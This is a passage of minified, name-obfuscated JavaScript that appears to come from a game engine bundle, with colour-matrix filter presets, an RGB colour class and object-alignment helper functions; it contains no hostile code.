(_0x222bfd) { return void 0x0 === _0x222bfd && (_0x222bfd = !0x1), this['multiply'](_0x39c155['TECHNICOLOR'], _0x222bfd); }, 'polaroid': function (_0x16f74d) { return void 0x0 === _0x16f74d && (_0x16f74d = !0x1), this['multiply'](_0x39c155['POLAROID'], _0x16f74d); }, 'shiftToBGR': function (_0x2129d1) { return void 0x0 === _0x2129d1 && (_0x2129d1 = !0x1), this['multiply'](_0x39c155['SHIFT_BGR'], _0x2129d1); }, 'multiply': function (_0x34b682, _0x3829e0) { void 0x0 === _0x3829e0 && (_0x3829e0 = !0x1), _0x3829e0 || this['reset'](); var _0x166cf9 = this['_matrix'], _0x55607e = _0x4db331; return _0x55607e['set'](_0x166cf9), _0x166cf9['set']([_0x55607e[0x0] * _0x34b682[0x0] + _0x55607e[0x1] * _0x34b682[0x5] + _0x55607e[0x2] * _0x34b682[0xa] + _0x55607e[0x3] * _0x34b682[0xf], _0x55607e[0x0] * _0x34b682[0x1] + _0x55607e[0x1] * _0x34b682[0x6] + _0x55607e[0x2] * _0x34b682[0xb] + _0x55607e[0x3] * _0x34b682[0x10], _0x55607e[0x0] * _0x34b682[0x2] + _0x55607e[0x1] * _0x34b682[0x7] + _0x55607e[0x2] * _0x34b682[0xc] + _0x55607e[0x3] * _0x34b682[0x11], _0x55607e[0x0] * _0x34b682[0x3] + _0x55607e[0x1] * _0x34b682[0x8] + _0x55607e[0x2] * _0x34b682[0xd] + _0x55607e[0x3] * _0x34b682[0x12], _0x55607e[0x0] * _0x34b682[0x4] + _0x55607e[0x1] * _0x34b682[0x9] + _0x55607e[0x2] * _0x34b682[0xe] + _0x55607e[0x3] * _0x34b682[0x13] + _0x55607e[0x4], _0x55607e[0x5] * _0x34b682[0x0] + _0x55607e[0x6] * _0x34b682[0x5] + _0x55607e[0x7] * _0x34b682[0xa] + _0x55607e[0x8] * _0x34b682[0xf], _0x55607e[0x5] * _0x34b682[0x1] + _0x55607e[0x6] * _0x34b682[0x6] + _0x55607e[0x7] * _0x34b682[0xb] + _0x55607e[0x8] * _0x34b682[0x10], _0x55607e[0x5] * _0x34b682[0x2] + _0x55607e[0x6] * _0x34b682[0x7] + _0x55607e[0x7] * _0x34b682[0xc] + _0x55607e[0x8] * _0x34b682[0x11], _0x55607e[0x5] * _0x34b682[0x3] + _0x55607e[0x6] * _0x34b682[0x8] + _0x55607e[0x7] * _0x34b682[0xd] + _0x55607e[0x8] * _0x34b682[0x12], _0x55607e[0x5] * _0x34b682[0x4] + _0x55607e[0x6] * _0x34b682[0x9] + _0x55607e[0x7] * _0x34b682[0xe] + _0x55607e[0x8] * _0x34b682[0x13] + _0x55607e[0x9], _0x55607e[0xa] * _0x34b682[0x0] + _0x55607e[0xb] * _0x34b682[0x5] + _0x55607e[0xc] * _0x34b682[0xa] + _0x55607e[0xd] * _0x34b682[0xf], _0x55607e[0xa] * _0x34b682[0x1] + _0x55607e[0xb] * _0x34b682[0x6] + _0x55607e[0xc] * _0x34b682[0xb] + _0x55607e[0xd] * _0x34b682[0x10], _0x55607e[0xa] * _0x34b682[0x2] + _0x55607e[0xb] * _0x34b682[0x7] + _0x55607e[0xc] * _0x34b682[0xc] + _0x55607e[0xd] * _0x34b682[0x11], _0x55607e[0xa] * _0x34b682[0x3] + _0x55607e[0xb] * _0x34b682[0x8] + _0x55607e[0xc] * _0x34b682[0xd] + _0x55607e[0xd] * _0x34b682[0x12], _0x55607e[0xa] * _0x34b682[0x4] + _0x55607e[0xb] * _0x34b682[0x9] + _0x55607e[0xc] * _0x34b682[0xe] + _0x55607e[0xd] * _0x34b682[0x13] + _0x55607e[0xe], _0x55607e[0xf] * _0x34b682[0x0] + _0x55607e[0x10] * _0x34b682[0x5] + _0x55607e[0x11] * _0x34b682[0xa] + _0x55607e[0x12] * _0x34b682[0xf], _0x55607e[0xf] * _0x34b682[0x1] + _0x55607e[0x10] * _0x34b682[0x6] + _0x55607e[0x11] * _0x34b682[0xb] + _0x55607e[0x12] * _0x34b682[0x10], _0x55607e[0xf] * _0x34b682[0x2] + _0x55607e[0x10] * _0x34b682[0x7] + _0x55607e[0x11] * _0x34b682[0xc] + _0x55607e[0x12] * _0x34b682[0x11], _0x55607e[0xf] * _0x34b682[0x3] + _0x55607e[0x10] * _0x34b682[0x8] + _0x55607e[0x11] * _0x34b682[0xd] + _0x55607e[0x12] * _0x34b682[0x12], _0x55607e[0xf] * _0x34b682[0x4] + _0x55607e[0x10] * _0x34b682[0x9] + _0x55607e[0x11] * _0x34b682[0xe] + _0x55607e[0x12] * _0x34b682[0x13] + _0x55607e[0x13]]), this['_dirty'] = !0x0, this; } }); _0x39c155['BLACK_WHITE'] = [0.3, 0.6, 0.1, 0x0, 0x0, 0.3, 0.6, 0.1, 0x0, 0x0, 0.3, 0.6, 0.1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['NEGATIVE'] = [-0x1, 0x0, 0x0, 0x1, 0x0, 0x0, -0x1, 0x0, 0x1, 0x0, 0x0, 0x0, -0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['DESATURATE_LUMINANCE'] = [0.2764723, 0.929708, 0.0938197, 0x0, -37.1, 0.2764723, 0.929708, 0.0938197, 0x0, -37.1, 0.2764723, 0.929708, 0.0938197, 0x0, -37.1, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['SEPIA'] = [0.393, 0.7689999, 0.18899999, 0x0, 0x0, 0.349, 0.6859999, 0.16799999, 0x0, 0x0, 0.272, 0.5339999, 0.13099999, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['LSD'] = [0x2, -0.4, 0.5, 0x0, 0x0, -0.5, 0x2, -0.4, 0x0, 0x0, -0.4, -0.5, 0x3, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['BROWN'] = [0.5997023498159715, 0.34553243048391263, -0.2708298674538042, 0x0, 47.43192855600873, -0.037703249837783157, 0.8609577587992641, 0.15059552388459913, 0x0, -36.96841498319127, 0.24113635128153335, -0.07441037908422492, 0.44972182064877153, 0x0, -7.562075277591283, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['VINTAGE'] = [0.6279345635605994, 0.3202183420819367, -0.03965408211312453, 0x0, 9.651285835294123, 0.02578397704808868, 0.6441188644374771, 0.03259127616149294, 0x0, 7.462829176470591, 0.0466055556782719, -0.0851232987247891, 0.5241648018700465, 0x0, 5.159190588235296, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['KODACHROME'] = [1.1285582396593525, -0.3967382283601348, -0.03992559172921793, 0x0, 63.72958762196502, -0.16404339962244616, 1.0835251566291304, -0.05498805115633132, 0x0, 24.732407896706203, -0.16786010706155763, -0.5603416277695248, 1.6014850761964943, 0x0, 35.62982807460946, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['TECHNICOLOR'] = [1.9125277891456083, -0.8545344976951645, -0.09155508482755585, 0x0, 11.793603434377337, -0.3087833385928097, 1.7658908555458428, -0.10601743074722245, 0x0, -70.35205161461398, -0.231103377548616, -0.7501899197440212, 1.847597816108189, 0x0, 30.950940869491138, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['POLAROID'] = [1.438, -0.062, -0.062, 0x0, 0x0, -0.122, 1.378, -0.122, 0x0, 0x0, -0.016, -0.016, 1.483, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x39c155['SHIFT_BGR'] = [0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, 0x0], _0x32eadb['exports'] = _0x39c155; }, 0xca37: (_0x34f642, _0x39242f, _0xce5067) => { var _0x1df1a8 = _0xce5067(0x145db), _0x178259 = _0xce5067(0x7433), _0x5f28c2 = new _0x1df1a8({ 'initialize': function (_0x136a40, _0x28b0ec, _0x411cef) { this['_rgb'] = [0x0, 0x0, 0x0], this['onChangeCallback'] = _0x178259, this['dirty'] = !0x1, this['set'](_0x136a40, _0x28b0ec, _0x411cef); }, 'set': function (_0x10ef97, _0x484c1b, _0x47ddb1) { return void 0x0 === _0x10ef97 && (_0x10ef97 = 0x0), void 0x0 === _0x484c1b && (_0x484c1b = 0x0), void 0x0 === _0x47ddb1 && (_0x47ddb1 = 0x0), this['_rgb'] = [_0x10ef97, _0x484c1b, _0x47ddb1], this['onChange'](), this; }, 'equals': function (_0x5f3cf3, _0x18e344, _0x5cc5ee) { var _0x2bd4c2 = this['_rgb']; return _0x2bd4c2[0x0] === _0x5f3cf3 && _0x2bd4c2[0x1] === _0x18e344 && _0x2bd4c2[0x2] === _0x5cc5ee; }, 'onChange': function () { this['dirty'] = !0x0; var _0xe00e74 = this['_rgb']; this['onChangeCallback']['call'](this, _0xe00e74[0x0], _0xe00e74[0x1], _0xe00e74[0x2]); }, 'r': { 'get': function () { return this['_rgb'][0x0]; }, 'set': function (_0x530eb4) { this['_rgb'][0x0] = _0x530eb4, this['onChange'](); } }, 'g': { 'get': function () { return this['_rgb'][0x1]; }, 'set': function (_0x4669f3) { this['_rgb'][0x1] = _0x4669f3, this['onChange'](); } }, 'b': { 'get': function () { return this['_rgb'][0x2]; }, 'set': function (_0x4a689d) { this['_rgb'][0x2] = _0x4a689d, this['onChange'](); } }, 'destroy': function () { this['onChangeCallback'] = null; } }); _0x34f642['exports'] = _0x5f28c2; }, 0xec2d: _0x5e0314 => { _0x5e0314['exports'] = { 'TOP_LEFT': 0x0, 'TOP_CENTER': 0x1, 'TOP_RIGHT': 0x2, 'LEFT_TOP': 0x3, 'LEFT_CENTER': 0x4, 'LEFT_BOTTOM': 0x5, 'CENTER': 0x6, 'RIGHT_TOP': 0x7, 'RIGHT_CENTER': 0x8, 'RIGHT_BOTTOM': 0x9, 'BOTTOM_LEFT': 0xa, 'BOTTOM_CENTER': 0xb, 'BOTTOM_RIGHT': 0xc }; }, 0xd428: (_0x522f98, _0x39a638, _0x83ad14) => { var _0x1bcba2 = _0x83ad14(0xf31b), _0x360203 = _0x83ad14(0x8c35), _0x2516d8 = _0x83ad14(0x15137), _0x3b44d2 = _0x83ad14(0x15961); _0x522f98['exports'] = function (_0x4714ae, _0x8f5467, _0xac2c65, _0x4a87a8) { return void 0x0 === _0xac2c65 && (_0xac2c65 = 0x0), void 0x0 === _0x4a87a8 && (_0x4a87a8 = 0x0), _0x3b44d2(_0x4714ae, _0x360203(_0x8f5467) + _0xac2c65), _0x2516d8(_0x4714ae, _0x1bcba2(_0x8f5467) + _0x4a87a8), _0x4714ae; }; }, 0xb6b0: (_0x374e55, _0x7a96a, _0x56e812) => { var _0x4bd504 = _0x56e812(0xf31b), _0x219d57 = _0x56e812(0x67ad), _0x49908b = _0x56e812(0x15137), _0x4a8132 = _0x56e812(0x181); _0x374e55['exports'] = function (_0x4f0396, _0x154092, _0x345f5c, _0x4e6d2e) { return void 0x0 === _0x345f5c && (_0x345f5c = 0x0), void 0x0 === _0x4e6d2e && (_0x4e6d2e = 0x0), _0x4a8132(_0x4f0396, _0x219d57(_0x154092) - _0x345f5c), _0x49908b(_0x4f0396, _0x4bd504(_0x154092) + _0x4e6d2e), _0x4f0396; }; }, 0x8bf3: (_0x3f5a68, _0xc20112, _0x21a521) => { var _0x160ff0 = _0x21a521(0xf31b), _0x39272a = _0x21a521(0xd46c), _0x4d3ee8 = _0x21a521(0x15137), _0x5d173d = _0x21a521(0x9cc8); _0x3f5a68['exports'] = function (_0x5eacc4, _0x17a67e, _0x3966a1, _0x1942ec) { return void 0x0 === _0x3966a1 && (_0x3966a1 = 0x0), void 0x0 === _0x1942ec && (_0x1942ec = 0x0), _0x5d173d(_0x5eacc4, _0x39272a(_0x17a67e) + _0x3966a1), _0x4d3ee8(_0x5eacc4, _0x160ff0(_0x17a67e) + _0x1942ec), _0x5eacc4; }; }, 0xb717: (_0x3ae6d5, _0x3f9e87, _0x335d7f) => { var _0x5d3ae2 = _0x335d7f(0x104e2), _0x645d6b = _0x335d7f(0x8c35), _0x135e73 = _0x335d7f(0x1e16); _0x3ae6d5['exports'] = function (_0x14fafd, _0x869cdf, _0xd24d37, _0x2dd2fb) { return void 0x0 === _0xd24d37 && (_0xd24d37 = 0x0), void 0x0 === _0x2dd2fb && (_0x2dd2fb = 0x0), _0x5d3ae2(_0x14fafd, _0x645d6b(_0x869cdf) + _0xd24d37, _0x135e73(_0x869cdf) + _0x2dd2fb), _0x14fafd; }; }, 0x144e: (_0x327cbb, _0x301665, _0x2f9d7b) => { var _0x40869a = _0x2f9d7b(0x1e16), _0x4fe982 = _0x2f9d7b(0x67ad), _0x313022 = _0x2f9d7b(0x5132), _0x48eaf9 = _0x2f9d7b(0x181); _0x327cbb['exports'] = function (_0x22cdbd, _0x5dd6ba, _0x471e5e, _0x4a20ae) { return void 0x0 === _0x471e5e && (_0x471e5e = 0x0), void 0x0 === _0x4a20ae && (_0x4a20ae = 0x0), _0x48eaf9(_0x22cdbd, _0x4fe982(_0x5dd6ba) - _0x471e5e), _0x313022(_0x22cdbd, _0x40869a(_0x5dd6ba) + _0x4a20ae), _0x22cdbd; }; }, 0x2e67: (_0x3f704d, _0x558da4, _0xc0159f) => { var _0x39d87b = _0xc0159f(0xec2d), _0x49db70 = []; _0x49db70[_0x39d87b['BOTTOM_CENTER']] = _0xc0159f(0xd428), _0x49db70[_0x39d87b['BOTTOM_LEFT']] = _0xc0159f(0xb6b0), _0x49db70[_0x39d87b['BOTTOM_RIGHT']] = _0xc0159f(0x8bf3), _0x49db70[_0x39d87b['CENTER']] = _0xc0159f(0xb717), _0x49db70[_0x39d87b['LEFT_CENTER']] = _0xc0159f(0x144e), _0x49db70[_0x39d87b['RIGHT_CENTER']] = _0xc0159f(0x13a77), _0x49db70[_0x39d87b['TOP_CENTER']] = _0xc0159f(0x15e62), _0x49db70[_0x39d87b['TOP_LEFT']] = _0xc0159f(0x39a), _0x49db70[_0x39d87b['TOP_RIGHT']] = _0xc0159f(0x537d), _0x49db70[_0x39d87b['LEFT_BOTTOM']] = _0x49db70[_0x39d87b['BOTTOM_LEFT']], _0x49db70[_0x39d87b['LEFT_TOP']] = _0x49db70[_0x39d87b['TOP_LEFT']], _0x49db70[_0x39d87b['RIGHT_BOTTOM']] = _0x49db70[_0x39d87b['BOTTOM_RIGHT']], _0x49db70[_0x39d87b['RIGHT_TOP']] = _0x49db70[_0x39d87b['TOP_RIGHT']], _0x3f704d['exports'] = function (_0x3e0155, _0x3459f7, _0xcfcd51, _0x670f09, _0x1e5d1f) { return _0x49db70[_0xcfcd51](_0x3e0155, _0x3459f7, _0x670f09, _0x1e5d1f); }; }, 0x13a77: (_0x44508c, _0x1f0292, _0x99f05c) => { var _0x1c8720 = _0x99f05c(0x1e16), _0x588a81 = _0x99f05c(0xd46c), _0x2df6d6 = _0x99f05c(0x5132), _0x3798cc = _0x99f05c(0x9cc8); _0x44508c['exports'] = function (_0x25bd55, _0x1fdf35, _0x3cbb60, _0x276302) { return void 0x0 === _0x3cbb60 && (_0x3cbb60 = 0x0), void 0x0 === _0x276302 && (_0x276302 = 0x0), _0x3798cc(_0x25bd55, _0x588a81(_0x1fdf35) + _0x3cbb60), _0x2df6d6(_0x25bd55, _0x1c8720(_0x1fdf35) + _0x276302), _0x25bd55; }; }, 0x15e62: (_0x314a59, _0x373a8e, _0x2b9819) => { var _0x17e586 = _0x2b9819(0x8c35), _0x467eeb = _0x2b9819(0x4535), _0x27a660 = _0x2b9819(0x15961), _0x30fe7f = _0x2b9819(0x104b1); _0x314a59['exports'] = function (_0x324cd0, _0x5e1650, _0xb7e66, _0x5291f1) { return void 0x0 === _0xb7e66 && (_0xb7e66 = 0x0), void 0x0 === _0x5291f1 && (_0x5291f1 = 0x0), _0x27a660(_0x324cd0, _0x17e586(_0x5e1650) + _0xb7e66), _0x30fe7f(_0x324cd0, _0x467eeb(_0x5e1650) - _0x5291f1), _0x324cd0; }; }, 0x39a: (_0x17050e, _0x9e3027, _0x31f6a9) => { var _0xd3631b = _0x31f6a9(0x67ad), _0x5a142a = _0x31f6a9(0x4535), _0x43a7ed = _0x31f6a9(0x181), _0x54fe15 = _0x31f6a9(0x104b1); _0x17050e['exports'] = function (_0x18502a, _0x2436c6, _0x50574f, _0x29796c) { return void 0x0 === _0x50574f && (_0x50574f = 0x0), void 0x0 === _0x29796c && (_0x29796c = 0x0), _0x43a7ed(_0x18502a, _0xd3631b(_0x2436c6) - _0x50574f), _0x54fe15(_0x18502a, _0x5a142a(_0x2436c6) - _0x29796c), _0x18502a; }; }, 0x537d: (_0x27c7cf, _0xce85ac, _0x45caa5) => { var _0x518d87 = _0x45caa5(0xd46c), _0x2e0312 = _0x45caa5(0x4535), _0x114e57 = _0x45caa5(0x9cc8), _0x3df868 = _0x45caa5(0x104b1); _0x27c7cf['exports'] = function (_0x3358f1, _0x453127, _0x58b8a6, _0x5e37c4) { return void 0x0 === _0x58b8a6 && (_0x58b8a6 = 0x0), void 0x0 === _0x5e37c4 && (_0x5e37c4 = 0x0), _0x114e57(_0x3358f1, _0x518d87(_0x453127) + _0x58b8a6), _0x3df868(_0x3358f1, _0x2e0312(_0x453127) - _0x5e37c4), _0x3358f1; }; }, 0x1660c: (_0x26600, _0x433ec1, _0x24302d) => { _0x26600['exports'] = { 'BottomCenter': _0x24302d(0xd428), 'BottomLeft': _0x24302d(0xb6b0), 'BottomRight': _0x24302d(0x8bf3), 'Center': _0x24302d(0xb717), 'LeftCenter': _0x24302d(0x144e), 'QuickSet': _0x24302d(0x2e67), 'RightCenter': _0x24302d(0x13a77), 'TopCenter': _0x24302d(0x15e62), 'TopLeft': _0x24302d(0x39a), 'TopRight': _0x24302d(0x537d) }; }, 0x118f6: (_0x3c1b73, _0x4a2690, _0x3bbb1f) => { var _0x431300 = _0x3bbb1f(0xec2d), _0x329ed7 = _0x3bbb1f(0x135bb), _0x2e8dc9 = { 'In': _0x3bbb1f(0x1660c), 'To': _0x3bbb1f(0x4136) }; _0x2e8dc9 = _0x329ed7(!0x1, _0x2e8dc9, _0x431300), _0x3c1b73['exports'] = _0x2e8dc9; }, 0x544a: (_0x1cb416, _0x3a4df1, _0x483d94) => { var _0x23bf7a = _0x483d94(0xf31b), _0x63fd8c = _0x483d94(0x8c35), _0x14f700 = _0x483d94(0x15961), _0x397289 = _0x483d94(0x104b1); _0x1cb416['exports'] = function (_0x30bade, _0x42740c, _0x58dd53, _0x336ea4) { return void 0x0 === _0x58dd53 && (_0x58dd53 = 0x0), void 0x0 === _0x336ea4 && (_0x336ea4 = 0x0), _0x14f700(_0x30bade, _0x63fd8c(_0x42740c) + _0x58dd53), _0x397289(_0x30bade, _0x23bf7a(_0x42740c) + _0x336ea4), _0x30bade; }; }, 0x27e2: (_0x1705a1, _0x11679d, _0x5b3031) => { var _0x303d2a = _0x5b3031(0xf31b), _0x41657f = _0x5b3031(0x67ad), _0x3b20d6 = _0x5b3031(0x181), _0x54e17a = _0x5b3031(0x104b1); _0x1705a1['exports'] = function (_0x35577a, _0x31dbda, _0x6396b0, _0x5873f9) { return void 0x0 === _0x6396b0 && (_0x6396b0 = 0x0), void 0x0 === _0x5873f9 && (_0x5873f9 = 0x0), _0x3b20d6(_0x35577a, _0x41657f(_0x31dbda) - _0x6396b0), _0x54e17a(_0x35577a, _0x303d2a(_0x31dbda) + _0x5873f9), _0x35577a; }; }, 0x141a5: (_0x2392be, _0x2be063, _0x2b1dc5) => { var _0x396ff2 = _0x2b1dc5(0xf31b), _0x102318 = _0x2b1dc5(0xd46c), _0x57d95a = _0x2b1dc5(0x9cc8), _0x4f7ba0 = _0x2b1dc5(0x104b1); _0x2392be['exports'] = function (_0x4ab894, _0xff642e, _0x5889fb, _0xaa3da1) { return void 0x0 === _0x5889fb && (_0x5889fb = 0x0), void 0x0 === _0xaa3da1 && (_0xaa3da1 = 0x0), _0x57d95a(_0x4ab894, _0x102318(_0xff642e) + _0x5889fb), _0x4f7ba0(_0x4ab894, _0x396ff2(_0xff642e) + _0xaa3da1), _0x4ab894; }; }, 0x15796: (_0x3c6982, _0x42abe6, _0x17b3ec) => { var _0x17babf = _0x17b3ec(0xf31b), _0x46926e = _0x17b3ec(0x67ad), _0x7ad680 = _0x17b3ec(0x15137), _0x3756b6 = _0x17b3ec(0x9cc8); _0x3c6982['exports'] = function (_0xa9d63d, _0x49f7f1, _0x48082e, _0xd089c3) { return void 0x0 === _0x48082e && (_0x48082e = 0x0), void 0x0 === _0xd089c3 && (_0xd089c3 = 0x0), _0x3756b6(_0xa9d63d, _0x46926e(_0x49f7f1) - _0x48082e), _0x7ad680(_0xa9d63d, _0x17babf(_0x49f7f1) + _0xd089c3), _0xa9d63d; }; }, 0x9c90: (_0x38cd58, _0x2f12b5, _0x167660) => { var _0x22a9fb = _0x167660(0x1e16), _0xccf020 = _0x167660(0x67ad), _0x566666 = _0x167660(0x5132), _0x4ff26d = _0x167660(0x9cc8); _0x38cd58['exports'] = function (_0x24ecb3, _0x184d17, _0x26b965, _0x25269a) { return void 0x0 === _0x26b965 && (_0x26b965 = 0x0), void 0x0 === _0x25269a && (_0x25269a = 0x0), _0x4ff26d(_0x24ecb3, _0xccf020(_0x184d17) - _0x26b965), _0x566666(_0x24ecb3, _0x22a9fb(_0x184d17) + _0x25269a), _0x24ecb3; }; }, 0x15992: (_0x39e5e7, _0x32f5cd, _0x4c9d6f) => { var _0x53dc17 = _0x4c9d6f(0x67ad), _0x114154 = _0x4c9d6f(0x4535), _0x4813b6 = _0x4c9d6f(0x9cc8), _0x1e15e2 = _0x4c9d6f(0x104b1); _0x39e5e7['exports'] = function (_0x54a99a, _0x3ff19d, _0x396566, _0x18b015) { return void 0x0 === _0x396566 && (_0x396566 = 0x0), void 0x0 === _0x18b015 && (_0x18b015 = 0x0), _0x4813b6(_0x54a99a, _0x53dc17(_0x3ff19d) - _0x396566), _0x1e15e2(_0x54a99a, _0x114154(_0x3ff19d) - _0x18b015), _0x54a99a; }; }, 0x97ad: (_0x1e9a91, _0x46ec4f, _0x1210dd) => { var _0xd1276c = _0x1210dd(0xec2d), _0x248ea0 = []; _0x248ea0[_0xd1276c['BOTTOM_CENTER']] = _0x1210dd(0x544a), _0x248ea0[_0xd1276c['BOTTOM_LEFT']] = _0x1210dd(0x27e2), _0x248ea0[_0xd1276c['BOTTOM_RIGHT']] = _0x1210dd(0x141a5), _0x248ea0[_0xd1276c['LEFT_BOTTOM']] = _0x1210dd(0x15796), _0x248ea0[_0xd1276c['LEFT_CENTER']] = _0x1210dd(0x9c90), _0x248ea0[_0xd1276c['LEFT_TOP']] = _0x1210dd(0x15992), _0x248ea0[_0xd1276c['RIGHT_BOTTOM']] = _0x1210dd(0x4b0b), _0x248ea0[_0xd1276c['RIGHT_CENTER']] = _0x1210dd(0x8731), _0x248ea0[_0xd1276c['RIGHT_TOP']] = _0x1210dd(0xbe65), _0x248ea0[_0xd1276c['TOP_CENTER']] = _0x1210dd(0xc120), _0x248ea0[_0xd1276c['TOP_LEFT']] = _0x1210dd(0x13d88), _0x248ea0[_0xd1276c['TOP_RIGHT']] = _0x1210dd(0xef8b), _0x1e9a91['exports'] = function (_0x581d40, _0x4ccbd5, _0x1b0b46, _0x39ed60, _0x303166) { return _0x248ea0[_0x1b0b46](_0x581d40, _0x4ccbd5, _0x39ed60, _0x303166); }; }, 0x4b0b: (_0x1992b4, _0x580fb0, _0x41dfae) => { var _0x452260 = _0x41dfae(0xf31b), _0x159f29 = _0x41dfae(0xd46c), _0x24bf01 = _0x41dfae(0x15137), _0xee7c4d = _0x41dfae(0x181); _0x1992b4['exports'] = function (_0xb94d57, _0x5d8158, _0x262b79, _0x31a647) { return void 0x0 === _0x262b79 && (_0x262b79 = 0x0), void 0x0 === _0x31a647 && (_0x31a647 = 0x0), _0xee7c4d(_0xb94d57, _0x159f29(_0x5d8158) + _0x262b79), _0x24bf01(_0xb94d57, _0x452260(_0x5d8158) + _0x31a647), _0xb94d57; }; }, 0x8731: (_0x58cfcc, _0x1ded5b, _0xbd346d) => { var _0x28956d = _0xbd346d(0x1e16), _0x1f3579 = _0xbd346d(0xd46c), _0x253fe2 = _0xbd346d(0x5132), _0x29c474 = _0xbd346d(0x181); _0x58cfcc['exports'] = function (_0x1639a3, _0x5bee7a, _0x10e64e, _0x137688) { return void 0x0 === _0x10e64e && (_0x10e64e = 0x0), void 0x0 === _0x137688 && (_0x137688 = 0x0), _0x29c474(_0x1639a3, _0x1f3579(_0x5bee7a) + _0x10e64e), _0x253fe2(_0x1639a3, _0x28956d(_0x5bee7a) + _0x137688), _0x1639a3; }; }, 0xbe65: (_0x5ca8fb, _0x3b0a3e, _0x3e559d) => { var _0x5603bf = _0x3e559d(0xd46c), _0x3775d4 = _0x3e559d(0x4535), _0x3f3ada = _0x3e559d(0x181), _0x48b807 = _0x3e559d(0x104b1); _0x5ca8fb['exports'] = function (_0x2d3482, _0x40a70f, _0x176e87, _0x522889) { return void 0x0 === _0x176e87 && (_0x176e87 = 0x0), void 0x0 === _0x522889 && (_0x522889 = 0x0), _0x3f3ada(_0x2d3482, _0x5603bf(_0x40a70f) + _0x176e87), _0x48b807(_0x2d3482, _0x3775d4(_0x40a70f) - _0x522889), _0x2d3482; }; }, 0xc120: (_0x26b517, _0x3ae46a, _0x1bdbbb) => { var _0x2f4e2d = _0x1bdbbb(0x8c35), _0x2d73b4 = _0x1bdbbb(0x4535), _0x6c62bf = _0x1bdbbb(0x15137), _0x41535e = _0x1bdbbb(0x15961); _0x26b517['exports'] = function (_0x493414, _0x4729c0, _0x25c6f5, _0x14c960) { return void 0x0 === _0x25c6f5 && (_0x25c6f5 = 0x0), void 0x0 === _0x14c960 && (_0x14c960 = 0x0), _0x41535e(_0x493414, _0x2f4e2d(_0x4729c0) + _0x25c6f5), _0x6c62bf(_0x493414, _0x2d73b4(_0x4729c0) - _0x14c960), _0x493414; }; }, 0x13d88: (_0x37fe4f, _0x50c524, _0x5f5a5d) => { var _0x54d8d0 = _0x5f5a5d(0x67ad), _0x295a8e = _0x5f5a5d(0x4535), _0x414ec7 = _0x5f5a5d(0x15137), _0x10cd29 = _0x5f5a5d(0x181); _0x37fe4f['exports'] = function (_0x481ed3, _0x78251c, _0x2fafce, _0x13ed5c) { return void 0x0 === _0x2fafce && (_0x2fafce = 0x0), void 0x0 === _0x13ed5c && (_0x13ed5c = 0x0), _0x10cd29(_0x481ed3, _0x54d8d0(_0x78251c) - _0x2fafce), _0x414ec7(_0x481ed3, _0x295a8e(_0x78251c) - _0x13ed5c), _0x481ed3; }; }, 0xef8b: (_0x1a46d2, _0x15046f, _0x579bf5) => { var _0x4fb843 = _0x579bf5(0xd46c), _0x32c7fb = _0x579bf5(0x4535), _0x11a9a5 = _0x579bf5(0x15137), _0x1ed72b = _0x579bf5(0x9cc8); _0x1a46d2['exports'] = function (_0x2da847, _0x1c4eab, _0x560941, _0x1fcc73) { return void 0x0 === _0x560941 && (_0x560941 = 0x0), void 0x0 === _0x1fcc73 && (_0x1fcc73 = 0x0), _0x1ed72b(_0x2da847, _0x4fb843(_0x1c4eab) + _0x560941), _0x11a9a5(_0x2da847, _0x32c7fb(_0x1c4eab) - _0x1fcc73), _0x2da847; }; }, 0x4136: (_0xeec438, _0x58900e, _0x372e28) => { _0xeec438['exports'] = { 'BottomCenter': _0x372e28(0x544a), 'BottomLeft': _0x372e28(0x27e2), 'BottomRight': _0x372e28(0x141a5), 'LeftBottom': _0x372e28(0x15796), 'LeftCenter': _0x372e28(0x9c90), 'LeftTop': _0x372e28(0x15992), 'QuickSet': _0x372e28(0x97ad), 'RightBottom': _0x372e28(0x4b0b), 'RightCenter': _0x372e28(0x8731), 'RightTop': _0x372e28(0xbe65), 'TopCenter': _0x372e28(0xc120), 'TopLeft': _0x372e28(0x13d88), 'TopRight': _0x372e28(0xef8b) }; }, 0x104e2: (_0x290600, _0x571193, _0x1198e7) => { var _0x20d4be = _0x1198e7(0x15961), _0x19919a = _0x1198e7(0x5132); _0x290600['exports'] = function (_0x491459, _0x15df20, _0x1849ac) { return _0x20d4be(_0x491459, _0x15df20), _0x19919a(_0x491459, _0x1849ac); }; }, 0xf31b: _0xd6c4f8 => { _0xd6c4f8['exports'] = function (_0x891ed1) { return _0x891ed1['y'] + _0x891ed1['height'] - _0x891ed1['height'] * _0x891ed1['originY']; }; }, 0x11ca9: (_0x1d3e19, _0x35c7f1, _0x15a315) => { var _0x56490e = _0x15a315(0xf31b), _0x458aca = _0x15a315(0x67ad), _0x296428 = _0x15a315(0xd46c), _0x3996e2 = _0x15a315(0x4535), _0x5313c9 = _0x15a315(0x15721); _0x1d3e19['exports'] = function (_0x21a1cf, _0x58440c) { void 0x0 === _0x58440c && (_0x58440c = new _0x5313c9()); var _0x7db657 = _0x458aca(_0x21a1cf), _0x3e2add = _0x3996e2(_0x21a1cf); return _0x58440c['x'] = _0x7db657, _0x58440c['y'] = _0x3e2add, _0x58440c['width'] = _0x296428(_0x21a1cf) - _0x7db657, _0x58440c['height'] = _0x56490e(_0x21a1cf) - _0x3e2add, _0x58440c; }; }, 0x8c35: _0x2c8aab => { _0x2c8aab['exports'] = function (_0x3a8406) { return _0x3a8406['x'] - _0x3a8406['width'] * _0x3a8406['originX'] + 0.5 * _0x3a8406['width']; }; }, 0x1e16: _0x1b5791 => { _0x1b5791['exports'] = function (_0x136910) { return _0x136910['y'] - _0x136910['height'] * _0x136910['originY'] + 0.5 * _0x136910['height']; }; }, 0x67ad: _0x54cd46 => { _0x54cd46['exports'] = function (_0x49ded1) { return _0x49ded1['x'] - _0x49ded1['width'] * _0x49ded1['originX']; 